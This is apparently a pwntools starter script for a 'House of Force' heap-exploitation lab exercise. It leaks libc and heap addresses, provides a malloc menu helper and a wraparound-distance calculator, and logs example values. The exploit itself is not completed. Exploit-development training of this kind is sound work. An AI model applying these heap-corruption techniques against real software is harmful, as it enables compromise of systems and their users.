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#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF("house_of_force")
libc = elf.libc
gs = '''
continue
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# Select the "malloc" option, send size & data.
def malloc(size, data):
io.send("1")
io.sendafter("size: ", f"{size}")
io.sendafter("data: ", data)
io.recvuntil("> ")
# Calculate the "wraparound" distance between two addresses.
def delta(x, y):
return (0xffffffffffffffff - x) + y
io = start()
# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil("puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
# This binary leaks the heap start address.
io.recvuntil("heap @ ")
heap = int(io.recvline(), 16)
io.recvuntil("> ")
io.timeout = 0.1
# =============================================================================
# =-=-=- EXAMPLE -=-=-=
# The "heap" variable holds the heap start address.
log.info(f"heap: 0x{heap:02x}")
# Program symbols are available via "elf.sym.<symbol name>".
log.info(f"target: 0x{elf.sym.target:02x}")
# The malloc() function chooses option 1 from the menu.
# Its arguments are "size" and "data".
malloc(24, b"Y"*24)
# The delta() function finds the "wraparound" distance between two addresses.
log.info(f"delta between heap & main(): 0x{delta(heap, elf.sym.main):02x}")
# =============================================================================
io.interactive()
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